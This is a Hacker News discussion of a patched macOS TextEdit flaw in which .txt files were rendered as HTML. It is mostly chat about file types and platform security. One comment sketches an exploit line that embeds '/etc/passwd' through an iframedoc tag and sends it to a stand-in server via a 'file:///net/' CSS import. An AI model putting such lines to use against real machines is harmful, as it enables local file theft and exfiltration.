[HN Gopher] Man who thought opening a TXT file is fine thought w...
___________________________________________________________________
Man who thought opening a TXT file is fine thought wrong
Author : hyperpape
Score : 911 points
Date : 2021-04-02 23:52 UTC (23 hours ago)
(HTM) web link (www.paulosyibelo.com)
(TXT) w3m dump (www.paulosyibelo.com)
| hnarn wrote:
| The title should be:
|
| > Man who thought opening a TXT file in TextEdit is fine thought
| wrong
|
| There are many, many text editors out there that would not
| attempt to parse HTML upon opening a text file.
| Mordisquitos wrote:
| Or even something like this:
|
| > Man who thought TextEdit could be trusted as a plain text
| editor is wrong
|
| This is one more example of what I find so frustrating about
| macOS, which is all those hidden little features trying to be
| "smart" and "user friendly" just in case I the user do not
| really know what I'm doing.
| bellyfullofbac wrote:
| File extensions are a kludge anyway. (And Windows 10 still hides
| them by default, because hey, backwards compatibility, and you
| wouldn't want to confuse Grandma who's seen the file be called
| "grandkids" since Windows 95..).
|
| Why should the filetype be dependent on the name? People even
| think renaming a .BMP to .JPG means now it's a compressed file!
|
| Old school Macs stored the filetype outside of a file, so you can
| rename the file "grandkids.mp4" and double-clicking it would
| still open it in the image viewer.
| Wowfunhappy wrote:
| I don't actually think file extensions are such a bad system.
|
| Filenames exist to provide context for the data inside. "Draft
| 2020 Quarterly Report.txt" and "Draft 2020 Quarterly
| Report.csv" could contain the exact same data, but the file
| extension indicates how the file is intended to be used, just
| as "2020" indicates the relevant year and "Draft" indicates
| completeness.
| kalleboo wrote:
| The cool thing about the Classic MacOS file type/creator
| system is that you what app opened a file was not dependent
| solely on the file type, but also on the app that created it.
|
| So if you downloaded a GIF file of a cute cat, it would open
| in your image viewer, but if you were working on drawing your
| own GIF image, it would open up in your image editor.
| medstrom wrote:
| But we have file timestamps, permissions and other
| attributes. There could easily be a "file type" field too,
| that seems more natural than shoving this metadata into the
| title.
| userbinator wrote:
| On the contrary, it's a simple and _explicit_ (when not
| stupidly hidden...) way of denoting the file type, which is
| great for interoperability and information interchange.
|
| Proprietary, opaque mechanisms like resource forks only serve
| to keep users uninformed (and thus unlearning) and impede the
| free interchange of information between different applications.
| andoriyu wrote:
| But it's not a file type, it's a file extension that
| sometimes can be matched to a content type.
| brazzy wrote:
| Same thing, really. If you have the type information stored
| somewhere else, it can also be wrong.
| grishka wrote:
| In the age of the internet, file extensions are a good idea,
| they should be visible by default, and people need to learn to
| recognize them. There's a lot of malware that gets people to
| run it by being an executable with an icon of an innocent file
| type, like an image. If you don't see extensions, you have no
| idea it's an .exe instead of a .jpg.
| throwanem wrote:
| Not really outside. The metadata was stored in a so-called
| "resource fork", with the file contents proper in a "data
| fork", both of which belonged to the file per se. Part of the
| resource fork was the "creator code", four bytes identifying
| the application which had created or could open the file, and
| the "type code", four more bytes defining which, among the
| potentially many kinds of files a given application could open,
| this file actually was. Binaries were stored in the same
| format, with IIRC an extra bit somewhere flagging them as
| executable.
|
| Classic Palm OS used an identical scheme, and for both
| platforms there was a freeware "ResEdit" application you could
| find to let you edit resource forks without paying for a real
| developer toolkit.
| amyjess wrote:
| Type and creator codes were stored in the desktop file IIRC,
| not in the resource fork.
| greggman3 wrote:
| Yes, and it sounded great on paper but was horrible for
| interoperability because a file was not self contained from
| the POV of filesystems that didn't support the resource fork.
| Every file you wanted to distribute cross platform needed 2
| versions. One with all that metadata bundled up for Mac, one
| without it for everything else. It was a nightmare
|
| OS-X dropped it for good reason.
| Qwertious wrote:
| >but was horrible for interoperability
|
| This makes me sad - it was dropped because of problems with
| _other operating systems_ , not because it was necessarily
| a bad architecture.
|
| I understand _why_ they would do it, but it makes you
| wonder how much better our systems could be if it weren 't
| for concerns about legacy.
| Someone1234 wrote:
| > This makes me sad - it was dropped because of problems
| with other operating systems, not because it was
| necessarily a bad architecture.
|
| No, it was dropped because it was designed without enough
| forethought given to how that metadata would be
| transmitted over the wire or when multiple files were
| bundled _consistently_. Even if every OS used this scheme
| a better solution to these problems would have to have
| been devised.
|
| Are extensions perfect? No, they suck. But yet solve this
| metadata transfer problem "good enough" and therefore won
| the war.
|
| PS - There was also a lack of user management
| tools/feedback on a lot of systems, for example changing
| the "file type" was often impossible out of the box, and
| the file types often unclear unless you went into
| details/properties on purpose (a potential security
| headache, up there with hidden extensions ala Windows).
| smoldesu wrote:
| >I understand why they would do it, but it makes you
| wonder how much better our systems could be if it weren't
| for concerns about legacy.
|
| Concern for legacy is the only thing keeping the field of
| computing sane these days. If every operating system
| worked with radically different standards for basic
| things like filesystems, a significant amount of bespoke
| work would need to go into each build of every piece of
| software, and we could very quickly encounter a monopoly
| scenario where only the rich could afford to develop apps
| for everyone. All of this is not to say that there aren't
| already systems doing this: Haiku and Plan-9 are about as
| esoteric and non-conformant as they get, and their reward
| for that is a minuscule but dedicated userbase. If Apple
| wants to make the computer a better experience for the
| end user, then they're going to have to play ball.
| BlueTemplar wrote:
| They still kind of do : WSL is kind of useless because of
| incompatible file systems between Windows and Linux...
| throwanem wrote:
| Yeah, it was painfully overcomplicated for sure - Palm OS
| did it much more seamlessly for cross-filesystem interop,
| but it was only when SD cards and /Palm/Launcher came along
| and you didn't really need Hotsync any more that it really
| got comfortable. It was very much of its time and I don't
| regret that it's gone, but it was certainly a clever and
| interesting design.
| ksherlock wrote:
| The file type and creator type are stored in the Finder Info
| meta data which is in the file record (along with the
| creation date, file size, etc).
| sircastor wrote:
| I was in my tweens/early teens when I learned about ResEdit.
| I thought it was some kind of hacker tool, and I was amused
| at the various things I could change.
| mike503 wrote:
| I used to add menu items (that didn't do anything), I was
| able to change picture/icon resources inside apps, all
| kinds of fun stuff. Change command mapping, etc
| throwanem wrote:
| Changing app icons was the big thing for me. I learned
| about that as a tiny child at computer camp, and I
| thought the high school kid who introduced me to it must
| be just about the coolest guy in the world.
| aflag wrote:
| It would be kind of neat if changing the extension of a file
| caused it to be converted automatically. It would save a bunch
| of typing and browsing around. Just rename a directory to
| foo.tar.gz and it gets compressed and tarred. I'm not saying
| that the kernel should be doing that, but it feels like a nice
| abstraction for some UI.
| scpedicini wrote:
| This is one of those ideas that seems nice in theory but in
| practice would just lead to so many subtle problems
| especially if it happened automatically.
|
| Lots of programs create temporary files by changing the
| extension temporarily but if the kernel were attempting to
| intercept and change the internal data you could never
| guarantee the state of your file data. Not to mention
| potentially renaming an extension to an automatically handled
| extension and having that data irrevocably altered without
| you even realizing it.
|
| Then of course there's the fact that there are usually lots
| of options associated with converting a file. Jpg needs
| visual compression levels, mp3 needs bitrates, etc.
| BlueTemplar wrote:
| Amazing idea !
| amelius wrote:
| But why tar it in the first place? If you want to share a
| directory, the system can tar it for you behind the scenes.
| Also, the system can zip anything behind the scenes, without
| the user knowing.
| aflag wrote:
| I guess it would make sense if you want to archive it and
| save some disk space. It also not always clear to the
| system that you are sharing a directory, if you drop it on
| a network drive, for instance. But yes, I think zipping a
| directory is not the most compelling use case.
| alfiedotwtf wrote:
| They're also dangerous too! I remember seeing malware as an
| attachment to an email with the file name "somefile.exe.bmp",
| which looks safe, but when saved on Windows, it saved it to
| disk as "somefile.bmp.exe" because there was some Hebrew
| character that flipped the last two extensions around!
| cbhl wrote:
| I do remember resource forks, but I thought content-detection
| was also a generally accepted pattern on 90s-era Macs because
| of the lack of file extensions?
|
| (If you had a _safe_ content-detection code-path -- admittedly
| a harder thing to guarantee these days -- that could certainly
| be safer than relying on users to not "open grandkids.bmp.exe"
| or "rename a downloaded.txt to autoexec.bat".)
| agumonkey wrote:
| i always found that a bit funny to see the 'typing' hygiene
| vary between OSes just like between programming languages.
| Windows let you cast anything, MacOS.W had the application
| being the sole type constructor in a way. Very functional.
| [deleted]
| arbirk wrote:
| The scroll event processing on the blog is super annoying. With
| all the js-errors I'm pretty sure we are all guinea pigs for op's
| hacking efforts lol
| harikb wrote:
| Small typo - it is Tavis Ormandy, not Ormary
|
| > we have previously seen memory corruption bugs leading to RCE
| by Tavis Ormary in Microsoft Notepad
| kccqzy wrote:
| The bug is fixed now, as the articles notes at the end. I cannot
| reproduce this at all now. When I put HTML in an actual .txt
| file, TextEdit opened it showing the markup, not the rendered
| content. This is regardless of whether in Preferences, I check or
| uncheck "Display HTML files as HTML code instead of formatted
| text" checkbox.
| mminer237 wrote:
| He says it was patched in 2020.
| colejohnson66 wrote:
| But the log viewer shows March 31 2021?
| novia wrote:
| ran on an unpatched machine
| movedx wrote:
| Virtual Machine?
| hit8run wrote:
| Well written. Thank you.
| contradict wrote:
| It would only leak your real IP if you were using a proxy through
| your browser, right? If you were using a VPN it would give the
| VPN server's IP address?
|
| edit: comment hidden, probably due to new account. Leaving it up
| just for reference
| Animats wrote:
| MacOS, too? That's a classic Microsoft kind of bug. At one point
| in the Windows XP era, Windows would execute anything that came
| anywhere near a desktop machine - USB sticks, CDs, web sites with
| install files... "Ease of use", right? They gradually tightened
| up.
| upofadown wrote:
| The link provided in the article to HTTPLeaks required some sort
| of login for me. Here is the direct link:
|
| * https://github.com/cure53/HTTPLeaks
|
| There are a _lot_ of ways HTML can leak information. HTTPLeaks is
| an attempt to create a test for all such leaks. Unfortunately,
| people keep inventing new ways for HTML interpretation to leak
| data. The article describes a particularly clever approach
| accidentally implemented by Apple.
| bawolff wrote:
| I don't know what people expect - don't run code you don't
| trust. There is also lots of ways for python to leak data if
| you execute a malicious python script.
| schmidp wrote:
| It's not about running code, it's about opening a TXT file
| with the operating system default handler for TXT files.
|
| So you what you are saying is basically 'do not open any
| files or websites you don't trust' - which is usually not
| what people expect as that would basically mean 'don't use
| your computer'
| bawolff wrote:
| More specificly im saying, the web is designed around
| making network requests. If your threat model is not to
| make network requests, you shouldn't try and sanitize html
| vis blacklists because you'll be in for a bad tine
| (responding to the grandparent's list of html leaks not the
| article. I agree that its unreasonable that the txt file
| does anything. The mistake is in the apple devs trying to
| sanitize html which is doomed to failure)
| benatkin wrote:
| There's nothing sacred about .txt files. It's a DOS/Windows
| thing.
| 2ion wrote:
| > It seems TextEdit for some reason thought it should parse the
| HTML even while the file format was TXT. So we can inject a bunch
| of limited HTML into a text file, now what?
|
| Well, what's a file type unless you know it from context, for
| example a special file system attribute that set to "text/html"?
| Heuristics. At the very least I think it's better to ignore file
| "extensions" completely when dealing with the data inside than to
| make it the deciding factor.
|
| libmagic, which powers a lot of file(1)'s work, is called
| libmagic for several reasons.
| Wowfunhappy wrote:
| Hmm, I can't replicate this on my Mac running 10.9.
| printf '<!DOCTYPE HTML><html><head></head><body>' > test.txt
|
| Opening test.txt shows the exact code I printed. Am I missing
| something?
| philistine wrote:
| the preferences allow you to set wether html is parsed or
| displayed as is. Perhaps it's due to that ?
| Wowfunhappy wrote:
| Yep, was was it. I forgot I set that.
|
| Some odd things are going on here though. The file is listed
| as "locked" when I open it, and if as TextEdit to unlock it,
| it fixes the file extension.
| twobitshifter wrote:
| He said it was patched in 2020
| Wowfunhappy wrote:
| And 10.9 was last updated in 2016. :)
| bawolff wrote:
| > I will not leave a PoC for this chapter but I promise you, it
| will not be that difficult to figure out after reading the above
| two parts
|
| I find this kind of annoying. Either write about the
| vulnerability or don't.
| twobitshifter wrote:
| So... First vulnerability is that you can force someone to hit
|
| 2nd vulnerability is that you can print a password file (or
| other file) inside the text editor
|
| <iframedoc src="file:///etc/passwd">
|
| A dangling markup attack is an attack that sends you
| information as part of the url request up to the next quote
|
| So you could do this and someone has sent you the contents of
| the password file when trying to get css
|
| <style>@import{
| "file:///net/MYSERVER.COM/stealpassword.css?=<iframedoc
| src="file:///etc/passwd">"} </style>
| bawolff wrote:
| Which is very interesting in and of itself as that's not how
| dangaling markup attacks usually work (normally it would send
| the unparsed html, not the result of parsing the html). Not
| to mention wtf the non-standard <iframedoc> tag is and how it
| differs from an iframe.
|
| But my broader point was less the how, and more that the
| style of writing was obnoxious.
| _0ffh wrote:
| Heh, the observation from the "zones of thought" universe comes
| to mind: If you want to be safe, don't even try to sneak a peek!
| brandededed wrote:
| How to immediately stop me from reading your article? Embed code
| that harassess me to "Pin it."
| lgats wrote:
| https://cve.report/CVE-2019-8761
| hamilyon2 wrote:
| How i am not surprised? And people still insist on lax
| field/input/request validation, without ever knowing where this
| input will ultimately end up.
|
| Sure, you know this is a simple txt file, so anything can come
| into it, right? There is no such thing as malicious txt file.
| tambourine_man wrote:
| > reading files with infinite data streams like /dev/urandom,
| /dev/zero. a 2kb text file can crash your mac.
|
| Wouldn't this just beach ball TextEdit, which you could force
| quit and carry on?
| intricatedetail wrote:
| I wonder if there is an Apple's backdoor to read users' text
| files when they open it and send saucier things to them. We will
| probably never know as this could be collated with other stuff
| and sent with metrics.
| xwdv wrote:
| That headline is needlessly dramatic. It's like the tag line for
| a movie poster for some cyber thriller.
| fortran77 wrote:
| I disagree. Many of Apple's user-base believes that the
| platform is immune from viruses and malware. It's important to
| get the message out that it's no better (and may be worse) than
| other popular platforms. Especially since Apple claims their
| platform is "secure by design."
| VectorLock wrote:
| I don't think it can be worse than Windows. Not immune, but
| definitely not worse.
| meibo wrote:
| Windows has a very good built-in antivirus now that
| protects you from pretty much all but 0-day
| vulnerabilities.
|
| Really I don't think you can draw any big comparisons here
| anymore nowadays - Apple's security on mac OS is sandboxing
| and signing, the latter of which power users will have
| turned off and the prior being inapplicable in this case.
| techrat wrote:
| Depends on how you want to set the goalposts.
|
| By version, MacOSX is faring worse.
|
| By total history despite a good chunk of old Windows
| malware not being net capable or able to run in current
| modes... perhaps.
|
| https://www.vox.com/recode/2020/2/12/21134681/mac-pc-
| virus-m...
|
| Safety by virtue of running MacOSX isn't enough anymore.
| Not that I'd argue it ever was totally safe/enough in the
| first place.
|
| Bad habits are what subject one to attacks more than
| anything else... and that's basically what Apple cultivated
| in their users through ignorance of threat mechanisms.
| [deleted]
| jolux wrote:
| Most of the safety has always been in being a minority
| platform, and consequently I don't think the threat level
| has really changed all that much over the past ten years.
| Apple are really hitting the gas right now with their SIP
| work and the immutable OS volume and such.
| smoldesu wrote:
| >Bad habits are what subject one to attacks more than
| anything else... and that's basically what Apple
| cultivated in their users through ignorance of threat
| mechanisms.
|
| This. 100 times this. The end user is the weakest link in
| your security chain, and the way Apple implements
| abstraction in MacOS makes it really difficult for the
| end user to understand what exactly they're doing, and
| what effect it has on their overall security.
| smoldesu wrote:
| Windows has a good handful of security vulnerabilities, but
| you'd be surprised by how few people actually "target"
| Windows devices. Windows still has accountability to their
| enterprise users, which means they spend most of their time
| mitigating the more serious stuff rather than some infected
| exe you'll find floating around the internet. MacOS and
| it's Unix heritage make it a pretty interesting case study
| for hackers, and while it may not have the perceived
| "hackability" of a Windows box, the severity of a MacOS
| exploit can vary greatly. Not to mention, Apple's
| reluctance to work with security researchers and opaque
| development cycle only make it harder for the end user to
| ascertain what impact MacOS has on their personal security.
|
| I use neither of these operating systems on a daily basis,
| but I think you'd be surprised by how secure Windows is
| these days. It's by no means perfect, but it does a pretty
| good job of staying secure, even as the #1 desktop
| operating system in the world. Now if only Microsoft could
| make a secure desktop that was any good... wishful
| thinking.
| jolux wrote:
| >you'd be surprised by how few people actually "target"
| Windows devices
|
| What do you mean by this? As a percentage of malware it's
| not even close, Windows is far and away the most targeted
| platform: https://www.pcmag.com/news/windows-computers-
| account-for-83-...
| philistine wrote:
| Wow. I would have expected Android to be so much higher.
| For all the poorest people in the world who never owned a
| computer and have Internet access through an Android
| device, this is a great statistic.
| jolux wrote:
| Phones are much more secure than desktops.
| smoldesu wrote:
| It's also far and away the most used platform, so it
| should surprise nobody that it's the most targeted.
| philistine wrote:
| Android is way more common. https://en.wikipedia.org/wiki
| /Usage_share_of_operating_syste...
| jolux wrote:
| I'm not surprised, I'm just curious what you meant by
| saying I'd be surprised at how few people target it.
| techrat wrote:
| The response, for the longest time, from a lot of MacOS users
| was that "Macs can't get viruses." No thanks, in large part,
| due to Apple's own advertising.
|
| This led to decades of bad online practices on the part of Mac
| users, thinking that by virtue of using an Apple computer, they
| were immune to such attacks they deemed exclusive to 'viruses.'
| Malware was for someone else, they'd argue. Because they don't
| get _viruses_ , they were fine.
|
| As a result, one of the largest botnets for a time was a MacOS
| one. Flashback.
|
| https://en.wikipedia.org/wiki/Flashback_(Trojan)
|
| The headline isn't needlessly dramatic. It's dramatic enough to
| prove a point. Bad habits and lack of safe file handling is the
| most guaranteed way one opens themselves up to attack vectors
| such as the one demonstrated in the article.
| Google234 wrote:
| Just post the POC for a 2019 bug...
| marcinzm wrote:
| To the author: This website seems to use something called
| SmoothScroll (edit: a javascript library) which makes my
| scrolling really really jumpy/janky. I'm using chrome on a
| MacBook with the touchpad. Made it basically impossible to scroll
| around the page which in turn made it very difficult for me to
| read the article.
| Black101 wrote:
| Looks fine to me... maybe because I block javascript
| ajkjk wrote:
| Well, yes, of course.
| Black101 wrote:
| so you know what to do now...
| ajkjk wrote:
| No, I (and most people) have no interest in disabling JS.
| Not a practical solution.
| klodolph wrote:
| Huh, I didn't experience this problem. The problem appears to
| be unique to Chrome. It doesn't show up in Firefox or Safari.
| gnulinux wrote:
| That's really rare! Someone take a photo!
| klodolph wrote:
| It's not really rare. Chrome tends to be a bit more
| "adventurous" and experimental, while Safari and Firefox
| are a bit more conservative. So it's not uncommon to see a
| few weird issues show up in Chrome.
| burnished wrote:
| I'm using Chrome and Windows10 but also got unpleasant
| behavior. I can't quite tell whats going on for multiple pushes
| of the scroll wheel but one 'tick' would push the page a set
| amount, and then a moment later the movement was repeated (but
| without the prompting input). Adds up to kind of a 'gross'
| overall feeling when scrolling. EDIT: when scrolling with the
| arrow keys it looks like theres an attempt at 'smoothing' but
| it really feels more like inertia and damping and is pretty
| unpleasant.
| saurik wrote:
| That this behavior is called "SmoothScroll" is what pushes it
| over the boundary for me firmly into self-satire (and so I am
| in stitches playing from laughing so hard at your great
| description and then experiencing the actual behavior); who
| writes these scripts, and why? :(
| smoldesu wrote:
| Not seeing this on Firefox + Linux
| andrewmackrodt wrote:
| Firefox under Linux works fine for me too. I was able to
| reproduce in Chrome and Edge (Preview).
| virtue3 wrote:
| windows 10 chrome. Gets real jank whenever I stop scrolling.
| Not pleasant.
| lopatin wrote:
| Also to the author: This is most likely costing you readers.
|
| Just weighing the pros and cons here:
|
| Pro: People who don't have smooth scrolling mouses will
| suddenly enjoy smooth scrolling on this website. Even this is a
| questionable "pro". Most people have scrolling setup how they
| want it and don't need it fixed on a per-website basis.
|
| Con: Degradating a core function of the computer (scrolling)
| for people who already have smooth scrolling.
|
| So to summarize: The plugin is not helping anyone read the
| blog, but it is preventing/annoying many people from reading
| it.
| marcinzm wrote:
| It says something when the top comment isn't about the
| content of the article but about how bad someone broke
| people's browsing experience.
| schwartzworld wrote:
| Yeah, it says you're on the Orange Site.
| MisterBastahrd wrote:
| Something on the site triggered mcafee on my laptop.
| walrus01 wrote:
| your bigger problem is likely that you're using mcafee
| MisterBastahrd wrote:
| No choice, corporate laptop.
| jackson1442 wrote:
| I consider messing with scroll to be one of the cardinal sins
| of web development.
| lubujackson wrote:
| Basically every single big site screws this up when lazy
| loading content - Twitter, YouTube, etc. If I drag down the
| scrollbar to position content where I want it on the page,
| invariably content gets loaded and pushed to the page.
| Because I am fixing the scrollbar by holding down the mouse
| button, the page jumps to a new position.
|
| It is infuriating because this is solveable in many ways, the
| simplest being not to push during a mouseDown event.
|
| But my new most hated thing is Google lazy showing details
| when I mouse over a result. Which means if I quickly go to
| click on the second link I mouse past the first link and it
| expands to the space where the second link was, so I either
| click the wrong link or have to reorient and then click the
| second link. I can't imagine how or why that feature exists.
| VectorLock wrote:
| Was about to post the same. This might be the most frustrating
| scrolling I've ever encountered.
| bartread wrote:
| Messing with native scrolling as a web antipattern is right
| up there with interfering with copy and paste. I will never
| understand why people do these things.
| srswtf123 wrote:
| I don't really understand why browsers allow it!
| dylan604 wrote:
| the browsers cannot control a dev that uses AJAX to
| continually redraw the page without causing the browser
| to update the history/location. typically a sign of a) a
| dev new to AJAX or b) a solo dev that created a PoC that
| got turned into a product with very little thought about
| things like history/state/etc. I myself am an option B
| person.
| srswtf123 wrote:
| Thanks; I definitely don't and can't claim to understand
| the "front end" at this point. Your comment was
| enlightening.
| lostlogin wrote:
| Breaking the back button is the ultimate sin in my book.
| This comes close.
| yellowapple wrote:
| My first web development job was for a Rails consultancy,
| where the owner of which explicitly stated that our apps
| were not designed to support using the back button. On
| another occasion, this same person responded to user
| reports of page zooming breaking the site with a counter
| of "then don't zoom the page".
|
| These moments were two of the first wherein I strongly
| reconsidered whether I had made the right career choices.
| dylan604 wrote:
| Seems like the JS library needs to be rebranded, as the name
| clearly does not describe the result of using it
| Narishma wrote:
| Works fine on Firefox for me. On the other hand, the text is in
| a small and thin font, light gray on a white background making
| it unreadable on my screen. Reader mode to the rescue, once
| again.
| dang wrote:
| " _Please don 't complain about website formatting, back-button
| breakage, and similar annoyances. They're too common to be
| interesting. Exception: when the author is present. Then
| friendly feedback might be helpful._"
|
| https://news.ycombinator.com/newsguidelines.html
|
| (Note: I'm not saying such things aren't annoying--it's the
| opposite--which is why we need a site guideline to prevent
| discussions from being dominated by them.)
| fulafel wrote:
| For attachment handling there's really a need for a service that
| takes the file in light of the uploaded suffix and mime type, and
| normalizes or rejects it (in a sandbox) based on how safe for
| consumption it is for common apps that handle that kind of file.
| For normalization eg GhostScript can convert PDFs to PDF/A that
| contain no scripts, images can be recoded, etc. Open source
| project idea? Or is there something this lie this already?
| lupire wrote:
| Why is TextEdit accessing the Internet without permission? Does
| Big Sur's Access Control block stuff like this?
| comex wrote:
| Well, /net is entirely disabled by default as of recently, so
| this entire method is no longer applicable.
|
| However, since you asked, here is some useless information:
|
| With /net or remote filesystems in general (NFS and SMB), the
| network accesses are performed by the kernel directly, rather
| than by the application using networking syscalls. Therefore,
| sandboxing network access from specific applications won't
| affect it.
|
| Big Sur doesn't actually have a permission dialog for network
| access. But TextEdit does use the (long-existing) App Sandbox
| system, which is based on applications statically declaring
| permissions they need. Since TextEdit doesn't request a
| networking entitlement, it's prohibited from accessing the
| network directly; as I said, that doesn't include remote
| filesystems.
| stjohnswarts wrote:
| This is why I use vallum.
| jrochkind1 wrote:
| From the OP it sounds like there is a very weird
| feature/component in MacOS called "AutoMount" and/or "AutoFS"
| that lets HTTP GET network requests be made via reading file
| system locations... and it may somehow escape other access
| controls?
|
| I too am curious for more details about this. Where did this
| feature come from, how has it been used, has it actually been
| used?
|
| Is AutoMount/AutoFS still there after this CVE patch? Does it
| indeed circumvent Access Control or other such things? Is it a
| likely path for other security problems?
| slrz wrote:
| I don't think this is doing any HTTP. Autofs is generally
| used to mount remote file systems like NFS shares.
|
| It's pretty common on Unix-like systems (especially in multi-
| user environments) and not at all specific to macOS.
|
| References:
|
| https://wiki.archlinux.org/index.php/autofs
|
| https://www.freebsd.org/cgi/man.cgi?query=autofs&sektion=5
|
| https://access.redhat.com/documentation/en-
| us/red_hat_enterp...
| jrochkind1 wrote:
| The only thing I know about this is what I learned from the
| OP reporting the vulnerability. Maybe I was mistaken the
| request was HTTP? Anyway, rest applies, assuming the
| article is correct in describing the nature of the
| vulnerability.
|
| Anyway, if this is how TextEdit got around macos access
| controls related to network activity, I wonder if this is a
| route for other apps, including malicious ones, to get
| around it too?
|
| > After digging into OSX internals, I came across the
| AutoMount feature that lets file:/// urls make remote
| requests. AutoFS is a program on OSX that uses the kernel
| to make a mounting request to a drive. Automount can also
| make remote requests to an external drive. Doing 'ls
| /net/EXAMPLE.com' forces OSX send a remote request to
| EXAMPLE.com
|
| > While they did a good job blocking TextEdit from making
| external requests, this was the one thing they forgot when
| they allowed file:/// scheme, on OSX
| file:///net/11.22.33.44/a.css connects to 11.22.33.44.
| andylynch wrote:
| It's not that weird, but probably less widely used now; it's
| wrapped up with NFS - SunOS had this starting back in the
| eighties and it's really handy. You can also do much the same
| including HTTP access with UNC on Windows.
|
| Both will follow normal network file access controls in their
| respective environments.
|
| As for the why? It's a really easy way of sharing resources
| between computers, and also way more efficient and easier to
| manage than static mounts.
| alpha_squared wrote:
| How does something like this wind up on the front page? As of
| this comment, it was posted 48 minutes ago with 12 points , one
| other comment, and sits at number 5. It's a self-professed
| clickbait title, though the content is interesting.
| [deleted]
| gbh444g wrote:
| I think each word in the title has a weight. Higher weight ->
| higher rank. If they found a way to insert "bitcoin" and
| "climate change" into the title, it would be number 1.
| bawolff wrote:
| Why not? You yourself just said "though the content is
| interesting." and the title might be a little clickbaity, but
| its not that bad. I've seen much worse reach the frontpage.
| gus_massa wrote:
| The post are sorted approximately by points /
| (time_in_hours+1)^1.5 * lot_of_penalties
|
| where 1.5 is a number that may change from time to time without
| warning, perhaps now it's 1.6 or something like that.
|
| The number of comments does not matter, unless the post has too
| much more comment than points, and the site adds a penalty.
|
| There are a lot of automatic and manual penalties added by the
| mods, and also added by the flags of the users. Most of the
| details are part of the secret sauce and change from time to
| time without warning.
| Waterluvian wrote:
| The ranking algorithm put it here.
| dylan604 wrote:
| the Zuck strikes again
| Thorentis wrote:
| Meta comment: The custom scroll behaviour on that site is awful.
| I hate sites that try to "improve" the behaviour of scrolling by
| making it faster/slower than normal.
| jspash wrote:
| I've been racking my brain trying to figure out just what
| "benefit" is had by this type of scroll-jacking but to no
| avail. It does seem to help in any way and all it does is
| frustrate the user.
|
| Luckily the spacebar behaviour remains untouched, but you
| shouldn't have to experiment with each and every snowflake
| webpage just to have the default actions act as you would
| expect.
|
| It's not the author's fault necessarily. Well, they _did_
| choose the template and decided to keep it. But the template
| comes from a company who targets WP templates towards Female
| Entrepreneurs, most likely in a bid to win some slice of
| Google's keyword share with "Feminine Blogger Templates". Not
| sure what my point is, except that maybe they are incredibly
| out of touch with a lot of things these days. And I'll it
| there. This is turning into an unintended stream-of-though
| rant. Sorry!
| elwell wrote:
| Totally agree. Appears to be using a script called
| "SmoothScroll".
| raverbashing wrote:
| Yeah, it's ironic in a way. TXT files should open as TXTs and
| scroll should scroll naturally and not be tampered with.
| elwell wrote:
| Love this comment
| argvargc wrote:
| Imagine if a site made the user downpress on a link for a
| longer time before the click would register?
|
| It's actually insane.
| BlueTemplar wrote:
| The spreading plague of JavaScript has resulted on _plenty_
| of situations of middle click on a link not correctly opening
| it in a new tab.
| grishka wrote:
| Yeah. I had to disable JS to make it bearable.
| stjohnswarts wrote:
| Ublock origin blocks it evidently.
| Exuma wrote:
| Amen...
| gh123man wrote:
| It gets even worse if you try to "pinch and zoom" on a mac.
| fouc wrote:
| Fascinating, I've always been annoyed when Textedit would open a
| .txt file and treat it as rtf/html. In retrospect that's a pretty
| obvious attack vector :/
| cyberlab wrote:
| Small thing I do first when a new Windows has been installed:
| make the file association of .VBS and .JS files open with Notepad
| instead of wscript.exe[0]
|
| Mitigates `iloveyou`[1] virus type attacks on my system
|
| [0] https://en.wikipedia.org/wiki/Windows_Script_Host
|
| [1] https://en.wikipedia.org/wiki/ILOVEYOU
| sammax wrote:
| > I found another browser trick that lets force-downloaded TXT
| files to be opened without user interaction or warning
|
| I wish there was more elaboration on this. Opening a downloaded
| file without user interaction sounds pretty bad.
| TazeTSchnitzel wrote:
| That is Safari's default behaviour for ZIP files. Only to
| extract them, though.
| dividuum wrote:
| What happens with 42.zip and other zip bombs?
| https://www.bamsoftware.com/hacks/zipbomb/
| kergonath wrote:
| Still a terrible idea, though.
| sammax wrote:
| So whenever the program used for extracting ZIPs has a
| vulnerability any website could force-download a malicious
| ZIP and it would automatically be extracted and trigger the
| vulnerability...
|
| Why is "force-download" even a thing? IMO the browser should
| _always_ ask before downloading any file. Though this is not
| a unique Mac thing, I believe Chrome does that everywhere.
| ampdepolymerase wrote:
| Has Apple paid the author yet? Or is this yet another free bug
| bounty?
| capableweb wrote:
| I think most of the outside contributions to Apple and their
| ecosystem are unpaid so wouldn't surprise me if this is the
| same.
| dsjfalksjdflksa wrote:
| To this day osx still doesn't ship with a true plaintext gui
| editor.
| macinjosh wrote:
| applescript editor?
| taejavu wrote:
| Not true, TextEdit is exactly this, it's just not the default.
| One checkbox in preferences activates plaintext mode for all
| new files.
| dylan604 wrote:
| haha, after using OS X since the beginning, i have never even
| looked for this. after the first time of realizing it was
| rich text like WordPad and not a text editor Notepad, I never
| even attempted to use it for anything text related. better
| app options were available for pure text anyways. BBEdit was
| my gold standard in the way back days.
| [deleted]
| monadic11 wrote:
| Probably a quirk of english that I don't see as a native
| speaker, but I'd phrase this as a gui plaintext editor.
|
| Also, people not served by textedit are pretty niche.
| chc wrote:
| I think both sound equally valid. One sort of expands to "a
| GUI editor for plain text" in my mind and the other is more
| like "a plain text editor with a GUI."
| jrochkind1 wrote:
| "plaintext gui editor" sounds like you are editing GUIs...
| in plaintext? Maybe a plaintext markup language for
| GUI's... I guess that's what HTML is!
| perryizgr8 wrote:
| It also doesn't ship with a paint program. OSx has a lot of
| ground to cover before it can function as a decent desktop OS.
| philistine wrote:
| One of the big reasons I switched in 2007 was the absence of
| absolute dreck like Paint.exe on a Mac. Instead, Apple
| focused on providing other types of apps for free, and now
| macOS comes with a full office suite and a prosumer sound
| editing program as things Windows doesn't have on first
| launch. Out of the box, macOS offers so much stuff today it's
| kind of incredible.
|
| You want to draw? Use Notes, which has very little but enough
| to draw a quick idea you just had.
| perryizgr8 wrote:
| > absolute dreck like Paint.exe
|
| mspaint.exe is as close to a perfect software as I have
| ever seen. I'm curious to know which program you think is
| better, because I'm sure very few exist.
| minusf wrote:
| preview's basic annotation functions cover most of what paint
| can do, or am i missing something?
| bobbylarrybobby wrote:
| You can't really start with a blank canvas and fill it in.
| You can only edit an existing image. (Yes, if you can
| create an all white JPEG you've more or less reinvented
| paint.)
| perryizgr8 wrote:
| Preview annotations don't begin to scratch the surface of
| what paint can do. Look what some people can do in MS
| paint: https://www.techeblog.com/amazing-spider-man-ms-
| paint-drawin...
|
| Most of us can't, but paint has all the tools, which is
| very helpful in many situations.
| BlueTemplar wrote:
